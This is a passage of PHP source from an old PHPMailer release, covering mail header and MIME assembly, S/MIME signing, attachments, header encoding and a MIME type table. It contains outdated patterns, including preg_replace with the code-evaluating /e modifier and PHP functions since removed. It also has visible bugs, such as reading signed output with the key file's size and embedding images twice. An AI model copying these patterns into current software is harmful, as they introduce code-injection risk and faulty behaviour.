2226 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2227 $result .= $this->AddrAppend('Bcc', $this->bcc);
2228 }
2229
2230 if(count($this->ReplyTo) > 0) {
2231 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2232 }
2233
2234 /* mail() sets the subject itself */
2235 if($this->Mailer != 'mail') {
2236 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2237 }
2238
2239 if($this->MessageID != '') {
2240 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2241 } else {
2242 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2243 }
2244 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2245 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2246
2247 if($this->ConfirmReadingTo != '') {
2248 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2249 }
2250
2251 // Add custom headers
2252 for($index = 0; $index < count($this->CustomHeader); $index++) {
2253 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2254 }
2255 if (!$this->sign_key_file) {
2256 $result .= $this->HeaderLine('MIME-Version', '1.0');
2257 $result .= $this->GetMailMIME();
2258 }
2259
2260 return $result;
2261 }
2262
2263 /**
2264 * Returns the message MIME.
2265 * @access private
2266 * @return string
2267 */
2268 function GetMailMIME() {
2269 $result = '';
2270 switch($this->message_type) {
2271 case 'plain':
2272 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2273 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2274 break;
2275 case 'attachments':
2276 /* fall through */
2277 case 'alt_attachments':
2278 if($this->InlineImageExists()){
2279 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2280 } else {
2281 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2282 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2283 }
2284 break;
2285 case 'alt':
2286 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2287 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2288 break;
2289 }
2290
2291 if($this->Mailer != 'mail') {
2292 $result .= $this->LE.$this->LE;
2293 }
2294
2295 return $result;
2296 }
2297
2298 /**
2299 * Assembles the message body. Returns an empty string on failure.
2300 * @access private
2301 * @return string
2302 */
2303 function CreateBody() {
2304 $result = '';
2305 if ($this->sign_key_file) {
2306 $result .= $this->GetMailMIME();
2307 }
2308
2309 $this->SetWordWrap();
2310
2311 switch($this->message_type) {
2312 case 'alt':
2313 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2314 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2315 $result .= $this->LE.$this->LE;
2316 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2317 $result .= $this->EncodeString($this->Body, $this->Encoding);
2318 $result .= $this->LE.$this->LE;
2319 $result .= $this->EndBoundary($this->boundary[1]);
2320 break;
2321 case 'plain':
2322 $result .= $this->EncodeString($this->Body, $this->Encoding);
2323 break;
2324 case 'attachments':
2325 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2326 $result .= $this->EncodeString($this->Body, $this->Encoding);
2327 $result .= $this->LE;
2328 $result .= $this->AttachAll();
2329 break;
2330 case 'alt_attachments':
2331 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2332 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2333 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2334 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2335 $result .= $this->LE.$this->LE;
2336 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2337 $result .= $this->EncodeString($this->Body, $this->Encoding);
2338 $result .= $this->LE.$this->LE;
2339 $result .= $this->EndBoundary($this->boundary[2]);
2340 $result .= $this->AttachAll();
2341 break;
2342 }
2343
2344 if($this->IsError()) {
2345 $result = '';
2346 } else if ($this->sign_key_file) {
2347 $file = tempnam("", "mail");
2348 $fp = fopen($file, "w");
2349 fwrite($fp, $result);
2350 fclose($fp);
2351 $signed = tempnam("", "signed");
2352
2353 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2354 $fp = fopen($signed, "r");
2355 $result = fread($fp, filesize($this->sign_key_file));
2356 fclose($fp);
2357 } else {
2358 $this->SetError($this->Lang("signing").openssl_error_string());
2359 $result = '';
2360 }
2361
2362 unlink($file);
2363 unlink($signed);
2364 }
2365
2366 return $result;
2367 }
2368
2369 /**
2370 * Returns the start of a message boundary.
2371 * @access private
2372 */
2373 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2374 $result = '';
2375 if($charSet == '') {
2376 $charSet = $this->CharSet;
2377 }
2378 if($contentType == '') {
2379 $contentType = $this->ContentType;
2380 }
2381 if($encoding == '') {
2382 $encoding = $this->Encoding;
2383 }
2384 $result .= $this->TextLine('--' . $boundary);
2385 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2386 $result .= $this->LE;
2387 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2388 $result .= $this->LE;
2389
2390 return $result;
2391 }
2392
2393 /**
2394 * Returns the end of a message boundary.
2395 * @access private
2396 */
2397 function EndBoundary($boundary) {
2398 return $this->LE . '--' . $boundary . '--' . $this->LE;
2399 }
2400
2401 /**
2402 * Sets the message type.
2403 * @access private
2404 * @return void
2405 */
2406 function SetMessageType() {
2407 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2408 $this->message_type = 'plain';
2409 } else {
2410 if(count($this->attachment) > 0) {
2411 $this->message_type = 'attachments';
2412 }
2413 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2414 $this->message_type = 'alt';
2415 }
2416 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2417 $this->message_type = 'alt_attachments';
2418 }
2419 }
2420 }
2421
2422 /* Returns a formatted header line.
2423 * @access private
2424 * @return string
2425 */
2426 function HeaderLine($name, $value) {
2427 return $name . ': ' . $value . $this->LE;
2428 }
2429
2430 /**
2431 * Returns a formatted mail line.
2432 * @access private
2433 * @return string
2434 */
2435 function TextLine($value) {
2436 return $value . $this->LE;
2437 }
2438
2439 /////////////////////////////////////////////////
2440 // CLASS METHODS, ATTACHMENTS
2441 /////////////////////////////////////////////////
2442
2443 /**
2444 * Adds an attachment from a path on the filesystem.
2445 * Returns false if the file could not be found
2446 * or accessed.
2447 * @param string $path Path to the attachment.
2448 * @param string $name Overrides the attachment name.
2449 * @param string $encoding File encoding (see $Encoding).
2450 * @param string $type File extension (MIME) type.
2451 * @return bool
2452 */
2453 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2454 if(!@is_file($path)) {
2455 $this->SetError($this->Lang('file_access') . $path);
2456 return false;
2457 }
2458
2459 $filename = basename($path);
2460 if($name == '') {
2461 $name = $filename;
2462 }
2463
2464 $cur = count($this->attachment);
2465 $this->attachment[$cur][0] = $path;
2466 $this->attachment[$cur][1] = $filename;
2467 $this->attachment[$cur][2] = $name;
2468 $this->attachment[$cur][3] = $encoding;
2469 $this->attachment[$cur][4] = $type;
2470 $this->attachment[$cur][5] = false; // isStringAttachment
2471 $this->attachment[$cur][6] = 'attachment';
2472 $this->attachment[$cur][7] = 0;
2473
2474 return true;
2475 }
2476
2477 /**
2478 * Attaches all fs, string, and binary attachments to the message.
2479 * Returns an empty string on failure.
2480 * @access private
2481 * @return string
2482 */
2483 function AttachAll() {
2484 /* Return text of body */
2485 $mime = array();
2486
2487 /* Add all attachments */
2488 for($i = 0; $i < count($this->attachment); $i++) {
2489 /* Check for string attachment */
2490 $bString = $this->attachment[$i][5];
2491 if ($bString) {
2492 $string = $this->attachment[$i][0];
2493 } else {
2494 $path = $this->attachment[$i][0];
2495 }
2496
2497 $filename = $this->attachment[$i][1];
2498 $name = $this->attachment[$i][2];
2499 $encoding = $this->attachment[$i][3];
2500 $type = $this->attachment[$i][4];
2501 $disposition = $this->attachment[$i][6];
2502 $cid = $this->attachment[$i][7];
2503
2504 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2505 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2506 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2507
2508 if($disposition == 'inline') {
2509 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2510 }
2511
2512 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2513
2514 /* Encode as string attachment */
2515 if($bString) {
2516 $mime[] = $this->EncodeString($string, $encoding);
2517 if($this->IsError()) {
2518 return '';
2519 }
2520 $mime[] = $this->LE.$this->LE;
2521 } else {
2522 $mime[] = $this->EncodeFile($path, $encoding);
2523 if($this->IsError()) {
2524 return '';
2525 }
2526 $mime[] = $this->LE.$this->LE;
2527 }
2528 }
2529
2530 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2531
2532 return join('', $mime);
2533 }
2534
2535 /**
2536 * Encodes attachment in requested format. Returns an
2537 * empty string on failure.
2538 * @access private
2539 * @return string
2540 */
2541 function EncodeFile ($path, $encoding = 'base64') {
2542 if(!@$fd = fopen($path, 'rb')) {
2543 $this->SetError($this->Lang('file_open') . $path);
2544 return '';
2545 }
2546 $magic_quotes = get_magic_quotes_runtime();
2547 set_magic_quotes_runtime(0);
2548 $file_buffer = fread($fd, filesize($path));
2549 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2550 fclose($fd);
2551 set_magic_quotes_runtime($magic_quotes);
2552
2553 return $file_buffer;
2554 }
2555
2556 /**
2557 * Encodes string to requested format. Returns an
2558 * empty string on failure.
2559 * @access private
2560 * @return string
2561 */
2562 function EncodeString ($str, $encoding = 'base64') {
2563 $encoded = '';
2564 switch(strtolower($encoding)) {
2565 case 'base64':
2566 /* chunk_split is found in PHP >= 3.0.6 */
2567 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2568 break;
2569 case '7bit':
2570 case '8bit':
2571 $encoded = $this->FixEOL($str);
2572 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2573 $encoded .= $this->LE;
2574 break;
2575 case 'binary':
2576 $encoded = $str;
2577 break;
2578 case 'quoted-printable':
2579 $encoded = $this->EncodeQP($str);
2580 break;
2581 default:
2582 $this->SetError($this->Lang('encoding') . $encoding);
2583 break;
2584 }
2585 return $encoded;
2586 }
2587
2588 /**
2589 * Encode a header string to best of Q, B, quoted or none.
2590 * @access private
2591 * @return string
2592 */
2593 function EncodeHeader ($str, $position = 'text') {
2594 $x = 0;
2595
2596 switch (strtolower($position)) {
2597 case 'phrase':
2598 if (!preg_match('/[\200-\377]/', $str)) {
2599 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2600 $encoded = addcslashes($str, "\0..\37\177\\\"");
2601 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2602 return ($encoded);
2603 } else {
2604 return ("\"$encoded\"");
2605 }
2606 }
2607 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2608 break;
2609 case 'comment':
2610 $x = preg_match_all('/[()"]/', $str, $matches);
2611 /* Fall-through */
2612 case 'text':
2613 default:
2614 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2615 break;
2616 }
2617
2618 if ($x == 0) {
2619 return ($str);
2620 }
2621
2622 $maxlen = 75 - 7 - strlen($this->CharSet);
2623 /* Try to select the encoding which should produce the shortest output */
2624 if (strlen($str)/3 < $x) {
2625 $encoding = 'B';
2626 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2627 // Use a custom function which correctly encodes and wraps long
2628 // multibyte strings without breaking lines within a character
2629 $encoded = $this->Base64EncodeWrapMB($str);
2630 } else {
2631 $encoded = base64_encode($str);
2632 $maxlen -= $maxlen % 4;
2633 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2634 }
2635 } else {
2636 $encoding = 'Q';
2637 $encoded = $this->EncodeQ($str, $position);
2638 $encoded = $this->WrapText($encoded, $maxlen, true);
2639 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2640 }
2641
2642 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2643 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2644
2645 return $encoded;
2646 }
2647
2648 /**
2649 * Checks if a string contains multibyte characters.
2650 * @access private
2651 * @param string $str multi-byte text to wrap encode
2652 * @return bool
2653 */
2654 function HasMultiBytes($str) {
2655 if (function_exists('mb_strlen')) {
2656 return (strlen($str) > mb_strlen($str, $this->CharSet));
2657 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2658 return False;
2659 }
2660 }
2661
2662 /**
2663 * Correctly encodes and wraps long multibyte strings for mail headers
2664 * without breaking lines within a character.
2665 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function...mimeheader.php
2666 * @access private
2667 * @param string $str multi-byte text to wrap encode
2668 * @return string
2669 */
2670 function Base64EncodeWrapMB($str) {
2671 $start = "=?".$this->CharSet."?B?";
2672 $end = "?=";
2673 $encoded = "";
2674
2675 $mb_length = mb_strlen($str, $this->CharSet);
2676 // Each line must have length <= 75, including $start and $end
2677 $length = 75 - strlen($start) - strlen($end);
2678 // Average multi-byte ratio
2679 $ratio = $mb_length / strlen($str);
2680 // Base64 has a 4:3 ratio
2681 $offset = $avgLength = floor($length * $ratio * .75);
2682
2683 for ($i = 0; $i < $mb_length; $i += $offset) {
2684 $lookBack = 0;
2685
2686 do {
2687 $offset = $avgLength - $lookBack;
2688 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2689 $chunk = base64_encode($chunk);
2690 $lookBack++;
2691 }
2692 while (strlen($chunk) > $length);
2693
2694 $encoded .= $chunk . $this->LE;
2695 }
2696
2697 // Chomp the last linefeed
2698 $encoded = substr($encoded, 0, -strlen($this->LE));
2699 return $encoded;
2700 }
2701
2702 /**
2703 * Encode string to quoted-printable.
2704 * @access private
2705 * @return string
2706 */
2707 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2708 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2709 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2710 $eol = "\r\n";
2711 $escape = '=';
2712 $output = '';
2713 while( list(, $line) = each($lines) ) {
2714 $linlen = strlen($line);
2715 $newline = '';
2716 for($i = 0; $i < $linlen; $i++) {
2717 $c = substr( $line, $i, 1 );
2718 $dec = ord( $c );
2719 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2720 $c = '=2E';
2721 }
2722 if ( $dec == 32 ) {
2723 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2724 $c = '=20';
2725 } else if ( $space_conv ) {
2726 $c = '=20';
2727 }
2728 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2729 $h2 = floor($dec/16);
2730 $h1 = floor($dec%16);
2731 $c = $escape.$hex[$h2].$hex[$h1];
2732 }
2733 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2734 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2735 $newline = '';
2736 // check if newline first character will be point or not
2737 if ( $dec == 46 ) {
2738 $c = '=2E';
2739 }
2740 }
2741 $newline .= $c;
2742 } // end of for
2743 $output .= $newline.$eol;
2744 } // end of while
2745 return trim($output);
2746 }
2747
2748 /**
2749 * Encode string to q encoding.
2750 * @access private
2751 * @return string
2752 */
2753 function EncodeQ ($str, $position = 'text') {
2754 /* There should not be any EOL in the string */
2755 $encoded = preg_replace("[\r\n]", '', $str);
2756
2757 switch (strtolower($position)) {
2758 case 'phrase':
2759 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2760 break;
2761 case 'comment':
2762 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2763 case 'text':
2764 default:
2765 /* Replace every high ascii, control =, ? and _ characters */
2766 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2767 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2768 break;
2769 }
2770
2771 /* Replace every spaces to _ (more readable than =20) */
2772 $encoded = str_replace(' ', '_', $encoded);
2773
2774 return $encoded;
2775 }
2776
2777 /**
2778 * Adds a string or binary attachment (non-filesystem) to the list.
2779 * This method can be used to attach ascii or binary data,
2780 * such as a BLOB record from a database.
2781 * @param string $string String attachment data.
2782 * @param string $filename Name of the attachment.
2783 * @param string $encoding File encoding (see $Encoding).
2784 * @param string $type File extension (MIME) type.
2785 * @return void
2786 */
2787 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2788 /* Append to $attachment array */
2789 $cur = count($this->attachment);
2790 $this->attachment[$cur][0] = $string;
2791 $this->attachment[$cur][1] = $filename;
2792 $this->attachment[$cur][2] = $filename;
2793 $this->attachment[$cur][3] = $encoding;
2794 $this->attachment[$cur][4] = $type;
2795 $this->attachment[$cur][5] = true; // isString
2796 $this->attachment[$cur][6] = 'attachment';
2797 $this->attachment[$cur][7] = 0;
2798 }
2799
2800 /**
2801 * Adds an embedded attachment. This can include images, sounds, and
2802 * just about any other document. Make sure to set the $type to an
2803 * image type. For JPEG images use "image/jpeg" and for GIF images
2804 * use "image/gif".
2805 * @param string $path Path to the attachment.
2806 * @param string $cid Content ID of the attachment. Use this to identify
2807 * the Id for accessing the image in an HTML form.
2808 * @param string $name Overrides the attachment name.
2809 * @param string $encoding File encoding (see $Encoding).
2810 * @param string $type File extension (MIME) type.
2811 * @return bool
2812 */
2813 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2814
2815 if(!@is_file($path)) {
2816 $this->SetError($this->Lang('file_access') . $path);
2817 return false;
2818 }
2819
2820 $filename = basename($path);
2821 if($name == '') {
2822 $name = $filename;
2823 }
2824
2825 /* Append to $attachment array */
2826 $cur = count($this->attachment);
2827 $this->attachment[$cur][0] = $path;
2828 $this->attachment[$cur][1] = $filename;
2829 $this->attachment[$cur][2] = $name;
2830 $this->attachment[$cur][3] = $encoding;
2831 $this->attachment[$cur][4] = $type;
2832 $this->attachment[$cur][5] = false;
2833 $this->attachment[$cur][6] = 'inline';
2834 $this->attachment[$cur][7] = $cid;
2835
2836 return true;
2837 }
2838
2839 /**
2840 * Returns true if an inline attachment is present.
2841 * @access private
2842 * @return bool
2843 */
2844 function InlineImageExists() {
2845 $result = false;
2846 for($i = 0; $i < count($this->attachment); $i++) {
2847 if($this->attachment[$i][6] == 'inline') {
2848 $result = true;
2849 break;
2850 }
2851 }
2852
2853 return $result;
2854 }
2855
2856 /////////////////////////////////////////////////
2857 // CLASS METHODS, MESSAGE RESET
2858 /////////////////////////////////////////////////
2859
2860 /**
2861 * Clears all recipients assigned in the TO array. Returns void.
2862 * @return void
2863 */
2864 function ClearAddresses() {
2865 $this->to = array();
2866 }
2867
2868 /**
2869 * Clears all recipients assigned in the CC array. Returns void.
2870 * @return void
2871 */
2872 function ClearCCs() {
2873 $this->cc = array();
2874 }
2875
2876 /**
2877 * Clears all recipients assigned in the BCC array. Returns void.
2878 * @return void
2879 */
2880 function ClearBCCs() {
2881 $this->bcc = array();
2882 }
2883
2884 /**
2885 * Clears all recipients assigned in the ReplyTo array. Returns void.
2886 * @return void
2887 */
2888 function ClearReplyTos() {
2889 $this->ReplyTo = array();
2890 }
2891
2892 /**
2893 * Clears all recipients assigned in the TO, CC and BCC
2894 * array. Returns void.
2895 * @return void
2896 */
2897 function ClearAllRecipients() {
2898 $this->to = array();
2899 $this->cc = array();
2900 $this->bcc = array();
2901 }
2902
2903 /**
2904 * Clears all previously set filesystem, string, and binary
2905 * attachments. Returns void.
2906 * @return void
2907 */
2908 function ClearAttachments() {
2909 $this->attachment = array();
2910 }
2911
2912 /**
2913 * Clears all custom headers. Returns void.
2914 * @return void
2915 */
2916 function ClearCustomHeaders() {
2917 $this->CustomHeader = array();
2918 }
2919
2920 /////////////////////////////////////////////////
2921 // CLASS METHODS, MISCELLANEOUS
2922 /////////////////////////////////////////////////
2923
2924 /**
2925 * Adds the error message to the error container.
2926 * Returns void.
2927 * @access private
2928 * @return void
2929 */
2930 function SetError($msg) {
2931 $this->error_count++;
2932 $this->ErrorInfo = $msg;
2933 }
2934
2935 /**
2936 * Returns the proper RFC 822 formatted date.
2937 * @access private
2938 * @return string
2939 */
2940 function RFCDate() {
2941 $tz = date('Z');
2942 $tzs = ($tz < 0) ? '-' : '+';
2943 $tz = abs($tz);
2944 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2945 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2946
2947 return $result;
2948 }
2949
2950 /**
2951 * Returns the appropriate server variable. Should work with both
2952 * PHP 4.1.0+ as well as older versions. Returns an empty string
2953 * if nothing is found.
2954 * @access private
2955 * @return mixed
2956 */
2957 function ServerVar($varName) {
2958 global $HTTP_SERVER_VARS;
2959 global $HTTP_ENV_VARS;
2960
2961 if(!isset($_SERVER)) {
2962 $_SERVER = $HTTP_SERVER_VARS;
2963 if(!isset($_SERVER['REMOTE_ADDR'])) {
2964 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2965 }
2966 }
2967
2968 if(isset($_SERVER[$varName])) {
2969 return $_SERVER[$varName];
2970 } else {
2971 return '';
2972 }
2973 }
2974
2975 /**
2976 * Returns the server hostname or 'localhost.localdomain' if unknown.
2977 * @access private
2978 * @return string
2979 */
2980 function ServerHostname() {
2981 if ($this->Hostname != '') {
2982 $result = $this->Hostname;
2983 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2984 $result = $this->ServerVar('SERVER_NAME');
2985 } else {
2986 $result = 'localhost.localdomain';
2987 }
2988
2989 return $result;
2990 }
2991
2992 /**
2993 * Returns a message in the appropriate language.
2994 * @access private
2995 * @return string
2996 */
2997 function Lang($key) {
2998 if(count($this->language) < 1) {
2999 $this->SetLanguage('en'); // set the default language
3000 }
3001
3002 if(isset($this->language[$key])) {
3003 return $this->language[$key];
3004 } else {
3005 return 'Language string failed to load: ' . $key;
3006 }
3007 }
3008
3009 /**
3010 * Returns true if an error occurred.
3011 * @return bool
3012 */
3013 function IsError() {
3014 return ($this->error_count > 0);
3015 }
3016
3017 /**
3018 * Changes every end of line from CR or LF to CRLF.
3019 * @access private
3020 * @return string
3021 */
3022 function FixEOL($str) {
3023 $str = str_replace("\r\n", "\n", $str);
3024 $str = str_replace("\r", "\n", $str);
3025 $str = str_replace("\n", $this->LE, $str);
3026 return $str;
3027 }
3028
3029 /**
3030 * Adds a custom header.
3031 * @return void
3032 */
3033 function AddCustomHeader($custom_header) {
3034 $this->CustomHeader[] = explode(':', $custom_header, 2);
3035 }
3036
3037 /**
3038 * Evaluates the message and returns modifications for inline images and backgrounds
3039 * @access public
3040 * @return $message
3041 */
3042 function MsgHTML($message,$basedir='') {
3043 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3044 if(isset($images[2])) {
3045 foreach($images[2] as $i => $url) {
3046 // do not change urls for absolute images (thanks to corvuscorax)
3047 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3048 $filename = basename($url);
3049 $directory = dirname($url);
3050 ($directory == '.')?$directory='':'';
3051 $cid = 'cid:' . md5($filename);
3052 $fileParts = split("\.", $filename);
3053 $ext = $fileParts[1];
3054 $mimeType = $this->_mime_types($ext);
3055 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3056 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3057 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3058 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3059 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3060 }
3061 }
3062 }
3063 }
3064 $this->IsHTML(true);
3065 $this->Body = $message;
3066 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3067 if ( !empty($textMsg) && empty($this->AltBody) ) {
3068 $this->AltBody = $textMsg;
3069 }
3070 if ( empty($this->AltBody) ) {
3071 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3072 }
3073 }
3074
3075 /**
3076 * Gets the mime type of the embedded or inline image
3077 * @access private
3078 * @return mime type of ext
3079 */
3080 function _mime_types($ext = '') {
3081 $mimes = array(
3082 'hqx' => 'application/mac-binhex40',
3083 'cpt' => 'application/mac-compactpro',
3084 'doc' => 'application/msword',
3085 'bin' => 'application/macbinary',
3086 'dms' => 'application/octet-stream',
3087 'lha' => 'application/octet-stream',
3088 'lzh' => 'application/octet-stream',
3089 'exe' => 'application/octet-stream',
3090 'class' => 'application/octet-stream',
3091 'psd' => 'application/octet-stream',
3092 'so' => 'application/octet-stream',
3093 'sea' => 'application/octet-stream',
3094 'dll' => 'application/octet-stream',
3095 'oda' => 'application/oda',
3096 'pdf' => 'application/pdf',
3097 'ai' => 'application/postscript',
3098 'eps' => 'application/postscript',
3099 'ps' => 'application/postscript',
3100 'smi' => 'application/smil',
3101 'smil' => 'application/smil',
3102 'mif' => 'application/vnd.mif',
3103 'xls' => 'application/vnd.ms-excel',
3104 'ppt' => 'application/vnd.ms-powerpoint',
3105 'wbxml' => 'application/vnd.wap.wbxml',
3106 'wmlc' => 'application/vnd.wap.wmlc',
3107 'dcr' => 'application/x-director',
3108 'dir' => 'application/x-director',
3109 'dxr' => 'application/x-director',
3110 'dvi' => 'application/x-dvi',
3111 'gtar' => 'application/x-gtar',
3112 'php' => 'application/x-httpd-php',
3113 'php4' => 'application/x-httpd-php',
3114 'php3' => 'application/x-httpd-php',
3115 'phtml' => 'application/x-httpd-php',
3116 'phps' => 'application/x-httpd-php-source',
3117 'js' => 'application/x-javascript',
3118 'swf' => 'application/x-shockwave-flash',
3119 'sit' => 'application/x-stuffit',
3120 'tar' => 'application/x-tar',
3121 'tgz' => 'application/x-tar',
3122 'xhtml' => 'application/xhtml+xml',
3123 'xht' => 'application/xhtml+xml',
3124 'zip' => 'application/zip',
3125 'mid' => 'audio/midi',
3126 'midi' => 'audio/midi',
3127 'mpga' => 'audio/mpeg',
3128 'mp2' => 'audio/mpeg',
3129 'mp3' => 'audio/mpeg',
3130 'aif' => 'audio/x-aiff',
3131 'aiff' => 'audio/x-aiff',
3132 'aifc' => 'audio/x-aiff',
3133 'ram' => 'audio/x-pn-realaudio',
3134 'rm' => 'audio/x-pn-realaudio',
3135 'rpm' => 'audio/x-pn-realaudio-plugin',
3136 'ra' => 'audio/x-realaudio',
3137 'rv' => 'video/vnd.rn-realvideo',
3138 'wav' => 'audio/x-wav',
3139 'bmp' => 'image/bmp',
3140 'gif' => 'image/gif',
3141 'jpeg' => 'image/jpeg',
3142 'jpg' => 'image/jpeg',
3143 'jpe' => 'image/jpeg',
3144 'png' => 'image/png',
3145 'tiff' => 'image/tiff',
3146 'tif' => 'image/tiff',
3147 'css' => 'text/css',
3148 'html' => 'text/html',
3149 'htm' => 'text/html',
3150 'shtml' => 'text/html',
3151 'txt' => 'text/plain',
3152 'text' => 'text/plain',
3153 'log' => 'text/plain',
3154 'rtx' => 'text/richtext',
3155 'rtf' => 'text/rtf',
3156 'xml' => 'text/xml',
3157 'xsl' => 'text/xml',
3158 'mpeg' => 'video/mpeg',
3159 'mpg' => 'video/mpeg',
3160 'mpe' => 'video/mpeg',
3161 'qt' => 'video/quicktime',
3162 'mov' => 'video/quicktime',
3163 'avi' => 'video/x-msvideo',
3164 'movie' => 'video/x-sgi-movie',
3165 'doc' => 'application/msword',
3166 'word' => 'application/msword',
3167 'xl' => 'application/excel',
3168 'eml' => 'message/rfc822'
3169 );
3170 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3171 }
3172
3173 /**
3174 * Set (or reset) Class Objects (variables)
3175 *
3176 * Usage Example:
3177 * $page->set('X-Priority', '3');
3178 *
3179 * @access public
3180 * @param string $name Parameter Name
3181 * @param mixed $value Parameter Value
3182 * NOTE: will not work with arrays, there are no arrays to set/reset
3183 */
3184 function set ( $name, $value = '' ) {
3185 if ( isset($this->$name) ) {
3186 $this->$name = $value;
3187 } else {
3188 $this->SetError('Cannot set or reset variable ' . $name);
3189 return false;
3190 }
3191 }
3192
3193 /**
3194 * Read a file from a supplied filename and return it.
3195 *
3196 * @access public
3197 * @param string $filename Parameter File Name
3198 */
3199 function getFile($filename) {
3200 $return = '';
3201 if ($fp = fopen($filename, 'rb')) {
3202 while (!feof($fp)) {
3203 $return .= fread($fp, 1024);
3204 }
3205 fclose($fp);
3206 return $return;
3207 } else {
